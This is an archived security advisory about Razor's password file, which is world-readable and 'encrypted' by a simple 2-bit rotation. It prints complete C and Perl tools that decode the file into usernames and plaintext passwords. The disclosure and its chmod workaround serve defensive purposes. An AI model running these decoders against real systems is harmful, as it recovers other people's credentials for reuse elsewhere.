TUCoPS :: Unix :: General :: razor-1.htm


TUCoPS :: Unix :: General :: razor-1.htm

Razor configuration management tool weak password crypto, inappropriate permissions
Vulnerability
 Razor
Affected
 Those using Razor configuration management tool
Description
 Shawn A. Clifford found following. Razor is a configuration
 management tool. There is a serious flaw with the Razor password
 file, rz_passwd. The problem is two-fold:
 1) The enciphering method used to scramble the password is
 extremely weak, using only a simple bit rotation on each
 byte. This was obvious after studying the rz_passwd file
 format for less than 30 minutes.
 2) The permissions on rz_passwd are world readable (a+r). If
 we change the permissions to owner-only readable (mode 400)
 Razor works fine. But, when a 'razor add_user ....',
 'razor remove_user ...', or 'razor passwd' command is
 issued, the permissions are changed back to world readable.
 We then tried changing the permissions on the parent
 directory to rwx------ (mode 700), but Razor was then
 unable to restart the databases.
 The Razor password file is found in a directory named
 Razor_License on the machine acting as the license server.
 The razor password file is composed of 51-byte records of three
 fields of 17 bytes. The fields are: username, encoded password,
 and group. The username and group fields are stored in ASCII
 plaintext with NULL padding, and the encoded password is an
 8-byte (maximum) field with NULL padding.
 The enciphered password is created by rotating each byte in the
 plaintext password right 2 bits. To decode the password, each
 byte is just rotated left 2 bits.
 Obviously this is an extremely weak and dangerous method for
 securing the passwords. In fact, you can sit down with a pad,
 pencil, and a hex dump of of the password file and decode entries
 by hand. But to make matters worse, the password file is world
 readable.
 A repurcussion of this might be that an attacker recovers a user's
 Razor password and then tries the password against other accounts
 that the user may have. One would guess that many users have the
 same password everywhere. This is a bad password policy, but
 nearly impossible to detect or deter.
 dumprazorpasswd.c:
 #include <stdio.h>
 #include <fcntl.h>
 #include <stdlib.h>
 #include <ctype.h>
 
 /************************************************************
 
 dumprazorpasswd -
 dumprazorpasswd
			 - prompts for input hex string to decode
 dumprazorpasswd <razor_passwd_file>
			 - prints the users and passwords in <file>
 dumprazorpasswd <passwd>
			 - encrypts <passwd> and prints it in hex
 
 16-jun-2000	pbw.
 
 ************************************************************/
 
 #define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )
 
 #define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )
 & 0x00ff) )
 #define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (
 c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )
 
 struct pwent
 {
 char uname[17];
 char psswd[17];
 char gname[17];
 };
 
 dumpfile (int fd)
 {
 int status, k;
 struct pwent pwent;
 
 while ( (status = read (fd, &pwent, 51))> 0 )
 {
 if (status != 51)
 {
 printf ("fd = %d\n", fd);
 printf ("partial read! only read %d bytes\n", status);
 exit(0);
 }
 k = 0;
 while (pwent.psswd[k] != '0円')
 {
 ROT8L(pwent.psswd[k], 10);
 k++;
 }
 printf ("user %-17s %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0]));
 }
 }
 
 main (int argc, char *argv[])
 
 {
 int fd,i,k;
 char passwd[18];
 char dpasswd[9];
 
 if (argc < 2)
 {
 printf("razor passwd to decrypt :");
 fgets(passwd, 17, stdin);
 passwd[strlen(passwd)-1] = 0;
 k=0;
 for (i=0 ; i<9 ; dpasswd[i++]=0);
 for (i=(strlen(passwd)-1) ; i>=0 ; i--)
 {
 if (k & 1)
 {
 dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0);
 }
 else
 {
 dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f;
 }
 k++;
 }
 for (i=0 ; i<strlen(dpasswd) ; i++)
 ROT8L(dpasswd[i], 2);
 printf("%s\n", dpasswd);
 exit(0);
 }
 fd = open (argv[1], O_RDONLY);
 if (fd < 0)
 {					/* assume arg is a passwd to encrypt
 */
 for ( i=0 ; i<strlen(argv[1]) ; i++)
 printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) );
 printf("\n");
 }
 else
 {					/* dump file */
 dumpfile(fd);
 }
 exit(0);
 }
 passwd_rz.pl:
 #!/usr/local/bin/perl
 
 #
 # Title:	passwd_rz.pl
 # Author:	Shawn A. Clifford
 # Date:	2000-June-15
 # Purpose:	Encrypt/decrypt Visible Systems Corp.' Razor passwords
 # Usage:	passwd_rz.pl [ hex_hash | password_file_name ]
 #
 #		When run without arguments, this program will prompt for
 #		a plaintext password and produce the ciphertext that Razor
 #		would create for the same string.
 #		Eg.: ./passwd_rz.pl
 #
 #			Enter a password, max 8 chars: WayLame
 #			Hash (in hex): D5585E13585B59
 #
 #		When passed a hex-character string, the program will
 #		generate the corresponding plaintext password.
 #		Eg.: ./passwd_rz.pl D5585E13585B59
 #
 #			Decrypting input hex string: D5585E13585B59
 #			Plaintext password: WayLame
 #
 #		When passed a filename for a Razor password file (rz_passwd),
 #		the program will dump all of the entries in the password
 #		file. Each entry contains a username, password, and group.
 #		Eg.: ./passwd_rz.pl rz_passwd
 #
 #			Decrypting Razor password file: rz_passwd
 #
 #			Username Password Group
 #			-------- -------- -----
 #			luser123 lamerz please
 #			luser45 cant fix
 #			buckwheat code this
 #			.
 #			.
 #			.
 #			tester1 CCCCCCCC test
 #			tester2 AAAAAA test
 #
 #			233 password entries
 #
 
 
 use strict;
 
 #
 # Defines
 #
 my $arg;			# Command line argument
 my $PLEN = 8;		# Maximum number of chars in a password
 my $PGLEN = 22;		# Output page length
 my @hash;			# Password hash (err, lame cipher)
 my $passwd;			# Plaintext password
 my $byte;			# A single byte/char
 my $buffer;			# Record from the password file
 my $i;			# Counter/index
 my $user;			# Username from password file
 my $group;			# Group name from password file
 my $rec_fmt = 'A17 C17 A17';	# rz_passwd record format
 my $rec_size = length(pack($rec_fmt, ())); # Size of a password file record
 
 
 if ($#ARGV < 0) {	# We want to encrypt a password
 
 #
 # Get a password
 #
 print "\nEnter a password, max 8 chars: ";
 $passwd = <STDIN>;
 chomp $passwd;
 
 
 #
 # Encrypt the password
 #
 print "Hash (in hex): ";
 for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) {
 
 #
 # For each byte in the password, rotate right 2 bits
 #
 $byte = unpack("C", substr($passwd,$i,1))>> 2;
 $byte += unpack("C", substr($passwd,$i,1)) << 6;
 
 #
 # Mask off the resultant low byte and save
 #
 $hash[$i] = $byte & 0x00ff;
 printf "%X", $hash[$i];
 }
 print "\n\n";
 
 } else {		# We want to decrypt a rz_passwd file or hex string
 
 $arg = shift;
 
 if ( -f ${arg} ) {	# It's a file to process
 
 print "\nDecrypting Razor password file: $arg\n";
 open(IN, "<${arg}") || die "Can't open passwd file: $!";
 
 $i = 0;
 while ( read(IN, $buffer, $rec_size) == $rec_size ) {
 if ($i % $PGLEN == 0) {
 print "\nUsername Password Group\n";
 print "-------- -------- -----\n";
 }
 ($user, @hash, $group) = unpack($rec_fmt, $buffer);
 $group = substr($buffer, 34, 17); # unpack didn't give me this, why?
 printf "%-17s %-15s %-17s\n", $user, decrypt(@hash), $group;
 $i++;
 }
 printf "\n%d password entries\n\n", $i;
 close(IN);
 
 } else {		# It had better be a string of hex digits!
 
 print "\nDecrypting input hex string: $arg\n";
 
 #
 # Convert ASCII character string to a binary array
 #
 @hash = ();
 for ($i=0; $i < (length($arg)/2) && $i < $PLEN; $i++) {
 $byte = hex(substr($arg, $i*2, 2));
 $hash[$i] = $byte;
 }
 
 #
 # Call the decrypt function to print the plaintext password
 #
 printf "Plaintext password: %s\n\n", decrypt(@hash);
 
 }
 
 }
 
 sub decrypt {
 my @hash = @_;		# Pick up the passed array
 my $passwd = ();		# Zero the output plaintext scalar
 my $i;
 my $byte;
 
 
 #
 # Decrypt the lamely enciphered password
 #
 for ($i=0; $i < $PLEN; $i++) {
 
 #
 # Convert NULLs to spaces
 #
 if ($hash[$i] == 0) {
 $passwd = $passwd . " ";
 next;
 }
 
 #
 # For each byte in the hash, rotate left 2 bits
 #
 $byte = $hash[$i] << 2;
 $byte += ($hash[$i]>> 6) & 0x03;
 
 #
 # Mask off the resultant low byte and save
 #
 $passwd = $passwd . chr($byte & 0x00ff);
 
 }
 
 return $passwd;
 }
Solution
 You may do a 'chmod 700 rz_passwd', but the permissions will
 change if a 'razor xxx' command is used that touches the password
 file.

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH